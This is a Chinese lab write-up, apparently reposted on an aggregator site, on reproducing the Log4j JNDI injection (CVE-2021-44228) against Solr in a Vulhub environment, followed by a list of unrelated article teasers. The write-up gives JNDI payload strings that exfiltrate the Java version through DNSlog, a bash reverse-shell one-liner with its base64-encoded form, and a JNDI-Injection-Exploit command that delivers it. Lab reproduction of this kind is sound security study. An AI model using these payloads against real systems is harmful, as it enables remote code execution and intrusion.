VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了,环境搭建不讲,网上其他文章很好。
访问该环境:
在这里插入图片描述
POC
构造(任选其一):

 ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}

我是用了yakit生成了一个可用域名,当然直接去dnslog平台生成也可以,但是我用习惯这个地方了,还是相当好用的一款国产化漏洞挖掘集成器。
在这里插入图片描述
访问:

http://192.168.220.142:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.rsjlpxqral.dgrh3.cn}

访问之后出现一条dnslog日志:
在这里插入图片描述
并且知道了java的版本是1.8.0_102
因为poc里面加了一个查看java版本的命令${sys:java.version},所以讲java版本结果回显在dnslog上面来了。

下面说怎么反弹shell操作:

bash -i >& /dev/tcp/192.168.220.142/6666 0>&1

意思是把shell回弹到/192.168.220.142/6666地方
bash编码一下:https://www.sqlsec.com/rce/
在这里插入图片描述

bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xNDIvNjY2NyAwPiYx}|{base64, -d}|{bash, -i}

下载利用工具:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xNDIvNjY2NyAwPiYx}|{base64, -d}|{bash, -i}" -A "http://192.168.220.142/" -C是编码后的内容,-A是反弹shell的ip地址。
注意要先nc监听6666端口
在这里插入图片描述
如上图访问

http://192.168.220.142:8983/solr/admin/cores?action=${jndi:ldap://192.168.220.142:1099/eftobp}

额 不知道为啥子没成功。。。。。
然后看了看其他人的文章发现:
在这里插入图片描述
就这样吧,反正搞懂了过程,也知道实战中怎么利用了。
而且我的环境是java1.8,真搞不懂
下面来看下原理吧:

Log4j→Log for Java,Apache的开源日志记录组件JDK→1.8u21以下的版本

看这篇文章吧直接:https://blog.csdn.net/FisrtBqy/article/details/130680143

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/831286.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Redis 实现分布式Session 登录相关细节

Redis 实现分布式Session 登录 借助 Redis 对 Session 信息进行统一的存储和管理,这样无论请求发送到哪台服务器,服务器都会去同一个 Redis 获取相关的 Session 信息,这样就解决了分布式系统下 Session 存储的问题。 【发送短信】校验手机号…

centos 中使用 kubekey 安装 k8s v1.22.12 支持 GPU 调用

环境准备: https://blog.csdn.net/m0_64519023/article/details/138184970 生成配置文件: 中间需要执行 ./kk create config --with-kubernetes v1.22.12 这个命令生成配置文件,保留生成的配置文件中 spec: hosts 下的 node1,将…

NLP自然语言处理和应用场景介绍

【A】NLP(Natural Language Processing,自然语言处理)是计算机科学与人工智能领域的一个分支,旨在让机器能够理解、解释、生成人类语言。它涵盖了语言文本的语法、语义、语用、语境等方面的处理。 NLP的具体应用场景包括但不限于…

双向链表专题

文章目录 目录1. 双向链表的结构2. 双向链表的实现3. 顺序表和双向链表的优缺点分析 目录 双向链表的结构双向链表的实现顺序表和双向链表的优缺点分析 1. 双向链表的结构 注意: 这⾥的“带头”跟前面我们说的“头节点”是两个概念,带头链表里的头节点…

C#描述-计算机视觉OpenCV(3):重映射

C#描述-计算机视觉OpenCV(3):重映射 前言色彩波形图像重映射 前言 C#描述-计算机视觉OpenCV(1):基础操作 C#描述-计算机视觉OpenCV(2):图像处理 在前文中,描…

读取文件例题总结 python

主要是读取文件的操作,结合字典,列表,集合的综合例题 主要思路:先看文件结构 根据文件结构 划分 然后保存到列表中(一般是二维列表) 然后再保存到字典中进行一些列操作 1…学生成绩分析 #1.学生成绩分析…

pycharm批量注释或取消多行

1. 背景和介绍 在我们编写Python代码的过程中,注释是非常重要的。它可以帮助我们理解代码的逻辑、功能和用法,并且方便其他开发者阅读和维护代码。然而,在大型项目中,有时需要批量注释或取消注释多行代码,手动操作会非…

UI-Diffuser——使用生成性人工智能的UI原型设计

概述。 移动UI是影响参与度的一个重要因素,例如用户对应用的熟悉程度和使用的便利性。如果你有一个类似的应用程序,你可能会选择一个具有现代、好看的设计的应用程序,而不是一个旧的设计。然而,要从头开始研究什么样的UI最适合应…

Java中使用Redis实现分布式锁的三种方式

1. 导语 随着软件开发领域的不断演进,并发性已经成为一个至关重要的方面,特别是在资源跨多个进程共享的分布式系统中。 在Java中,管理并发性对于确保数据一致性和防止竞态条件至关重要。 Redis作为一个强大的内存数据存储,为在Java应用程序中实现分布式锁提供了一种高效的…

Go图片列表

需求 在一个页面浏览目录下所有图片 代码 package mainimport ("net/http""fmt""io/ioutil""sort""strings""strconv" )func handleRequest(w http.ResponseWriter, r *http.Request) {fmt.Println(r.Proto &…

静态库、动态库回顾

回顾一下库相关的知识点&#xff0c;总结备忘一下。在某种情况下&#xff0c;你有了如下的代码&#xff0c;结构如下 //pra.h #include <stdio.h> void test_01(); //pra.c #include "pra.h" void test_01() {printf("xxxxxxx----->%s %s()\n",…

typescript类型检查和原始类型

typescript类型检查和原始类型 类型检查 非严格类型是typescript默认的类型检查模式&#xff0c;在该模式下&#xff0c;类型检查的规则相对轻松&#xff0c;不会对undefined和null值做过多的限制&#xff0c;允许将undefined和null值赋给string类型的变量。进行JavaScript代…

【ChatGPT with Date】使用 ChatGPT 时显示消息时间的插件

文章目录 1. 介绍2. 使用方法2.1 安装 Tampermonkey2.2 安装脚本2.3 使用 3. 配置3.1 时间格式3.2 时间位置 4. 反馈5. 未来计划6. 开源协议7. 供给开发者自定义修改脚本的文档7.1 项目组织架构7.2 定义新的 Component(1) 定义一个新的 Component 类(2) 注册该 Component 7.3 一…

ICode国际青少年编程竞赛- Python-1级训练场-基本操作

ICode国际青少年编程竞赛- Python-1级训练场-基本操作 1、 Dev.step(3)2、 Dev.step(1)3、 Dev.step(7)4、 Dev.step(-1)5、 Dev.step(-5)6、 Dev.step(3) Dev.step(-8)7、 Dev.turnRight() Dev.step(1)8、 Dev.turnLeft() Dev.step(1)9、 Dev.step(4) Dev.tur…

自动找出字符串中有符号数字

需求 代码 class Solution:def myAtoi(self, s: str) -> int:s s.strip() # 删除首尾空格if not s: return 0 # 字符串为空则直接返回res, i, sign 0, 1, 1int_max, int_min, bndry 2 ** 31 - 1, -2 ** 31, 2 ** 31 // 10if s[0…

2024年 Java 面试八股文——SpringMVC篇

目录 1.简单介绍下你对springMVC的理解? 2.说一说SpringMVC的重要组件及其作用 3.SpringMVC的工作原理或流程 4.SpringMVC的优点 5.SpringMVC常用注解 6.SpringMVC和struts2的区别 7.怎么实现SpringMVC拦截器 8.SpringMvc的控制器是不是单例模式&#xff1f;如果是&am…

B树:原理、操作及应用

B树&#xff1a;原理、操作及应用 一、引言二、B树概述1. 定义与性质2. B树与磁盘I/O 三、B树的基本操作1. 搜索&#xff08;B-TREE-SEARCH&#xff09;2. 插入&#xff08;B-TREE-INSERT&#xff09;3. 删除&#xff08;B-TREE-DELETE&#xff09; 四、B树的C代码实现示例五、…

蓝桥杯练习系统(算法训练)ALGO-953 混合积

资源限制 内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述 众所周知&#xff0c;人人都在学习线性代数&#xff0c;既然都学过&#xff0c;那么解决本题应该很方便。   宇宙大战中&…

oracle杀死锁时如果是多机并行怎么查

在Oracle中&#xff0c;当处理多机并行的锁问题时&#xff0c;查找和杀死锁定的会话可能涉及到跨多个数据库实例或服务器的操作。以下是一些建议的步骤和查询&#xff0c;帮助你在多机并行的环境中查找和杀死锁&#xff1a; 确定锁定对象&#xff1a; 首先&#xff0c;你需要…

MongoDB聚合运算符:$substr

MongoDB聚合运算符&#xff1a;$substr 文章目录 MongoDB聚合运算符&#xff1a;$substr语法使用举例 $substr聚合运算符返回字符串的子串&#xff0c;子串是从指定索引位置开始并包含指定数量的字符&#xff0c;索引是从零开始。自3.4版本起 $substr已弃用&#xff0c;目前 …